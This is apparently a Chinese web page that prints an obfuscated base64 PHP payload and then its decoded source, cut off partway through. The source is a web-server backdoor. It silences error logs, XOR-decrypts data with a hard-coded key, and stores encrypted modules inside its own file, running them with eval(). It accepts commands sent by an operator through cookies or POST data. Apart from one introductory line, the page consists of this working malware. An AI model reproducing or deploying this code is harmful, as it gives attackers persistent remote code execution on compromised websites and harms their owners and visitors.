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wIEwmaT5wKSd/dXAaJ2w9IXc9cXUkGTlqNyVrbywldUtoaz0nOHd+IHsac2prIzchdiQqHishaHBfczdxflZ2Ij1wVnA4IXcEJ29pcBIjKiEoAixtaSVldSU8dANxbHEhanItb39Vdj52JAYkKiMiVSdsNnBjcCxydVUkaWc+dSF5IzgAJj9sPH0leHRpCyBoYnFbcCF3JA0gajtzNSB7I30RcGswcwolcSBwLSVuOCV5ICUjdjMnaDZwSHR7cnZhJmg5dDk7KCJ1M25oZXZPPXQmLzA+PDwmFncpc381dTlqJ3Z0diJzYXojP3IBIDcjJm0scWsnd3EwISBvI2hvIxwnLnQoPHU6OCcLd3dvdGkpbytyfCUsbndtIW1yIzh3KycmOCdqbydqcntwJz4kOz89bHIvdDk5Lj87b3MifidoJyQ9Ync4J3B1cydyOTshbCMhcCtvcWo4c3d2dSd2bSRqPHB8Jnx0JydwamQjbyYjcSwkcD84dV87f3FxJmg7ZHJNaHQgdnVvPmskMiQpIScoL2o8cGV1fiIkLH4kOSEEJDN2Jnh1JjolBnNnaQ0wKjdneCckbiV2P2EkKCh/YSAzJCB7fGhpNWY8JWU1cC40I2JzIiBvIWU+dXp+aXM4fA==<br/></div><br/><br/>解码之后是下面的内容：<br/><div class="code">@ini_set(&#039;error_log&#039;, NULL);<br/>@ini_set(&#039;log_errors&#039;, 0);<br/>@ini_set(&#039;max_execution_time&#039;, 0);<br/>@error_reporting(0);<br/>@set_time_limit(0);<br/><br/>if(!defined(&quot;PHP_EOL&quot;))<br/>&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;define(&quot;PHP_EOL&quot;, &quot;&#92;n&quot;);<br/>&#125;<br/><br/>if(!defined(&quot;DIRECTORY_SEPARATOR&quot;))<br/>&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;define(&quot;DIRECTORY_SEPARATOR&quot;, &quot;/&quot;);<br/>&#125;<br/><br/>if (!defined(&#039;ALREADY_RUN_144c87cf623ba82aafi68riab16atio18&#039;))<br/>&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;define(&#039;ALREADY_RUN_144c87cf623ba82aafi68riab16atio18&#039;, 1);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;$data = NULL;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$data_key = NULL;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;$GLOBALS&#91;&#039;cs_auth&#039;&#93; = &#039;f31c3518-e47e-4833-a105-01bea369f066&#039;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;global $cs_auth;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (!function_exists(&#039;file_put_contents&#039;))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function file_put_contents($n, $d, $flag = False)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$mode = $flag == 8 ? &#039;a&#039; : &#039;w&#039;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$f = @fopen($n, $mode);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($f === False)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (is_array($d)) $d = implode($d);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$bytes_written = fwrite($f, $d);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose($f);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $bytes_written;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (!function_exists(&#039;file_get_contents&#039;))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function file_get_contents($filename)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fhandle = fopen($filename, &quot;r&quot;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fcontents = fread($fhandle, filesize($filename));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose($fhandle);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $fcontents;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;function cs_get_current_filepath()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return trim(preg_replace(&quot;/&#92;(.*&#92;$/&quot;, &#039;&#039;, __FILE__));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;function cs_decrypt_phase($data, $key)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$out_data = &quot;&quot;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for ($i=0; $i&lt;strlen($data);)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for ($j=0; $j&lt;strlen($key) &amp;&amp; $i&lt;strlen($data); $j++, $i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$out_data .= chr(ord($data&#91;$i&#93;) ^ ord($key&#91;$j&#93;));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $out_data;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;function cs_decrypt($data, $key)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global $cs_auth;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;function cs_encrypt($data, $key)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global $cs_auth;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;function cs_get_plugin_config()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$self_content = @file_get_contents(cs_get_current_filepath());<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$config_pos = strpos($self_content, md5(cs_get_current_filepath()));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($config_pos !== FALSE)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$config = substr($self_content, $config_pos + 32);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plugins = Array();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $plugins;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;function cs_set_plugin_config($plugins)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$self_content = @file_get_contents(cs_get_current_filepath());<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$config_pos = strpos($self_content, md5(cs_get_current_filepath()));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($config_pos !== FALSE)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$config_old = substr($self_content, $config_pos + 32);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$self_content = str_replace($config_old, $config_enc, $self_content);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$self_content = $self_content . &quot;&#92;n&#92;n//&quot; . md5(cs_get_current_filepath()) . $config_enc;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@file_put_contents(cs_get_current_filepath(), $self_content);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;function cs_plugin_add($name, $base64_data)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plugins = cs_get_plugin_config();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plugins&#91;$name&#93; = base64_decode($base64_data);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cs_set_plugin_config($plugins);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;function cs_plugin_rem($name)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$plugins = cs_get_plugin_config();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unset($plugins&#91;$name&#93;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cs_set_plugin_config($plugins);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;function cs_plugin_load($name=NULL)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach (cs_get_plugin_config() as $pname=&gt;$pcontent)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($name)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (strcmp($name, $pname) == 0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eval($pcontent);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eval($pcontent);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;foreach ($_COOKIE as $key=&gt;$value)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data = $value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data_key = $key;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (!$data)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($_POST as $key=&gt;$value)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data = $value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$data_key = $key;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (isset($data&#91;&#039;ak&#039;&#93;) &amp;&amp; $cs_auth==$data&#91;&#039;ak&#039;&#93;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($data&#91;&#039;a&#039;&#93; == &#039;i&#039;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$i = 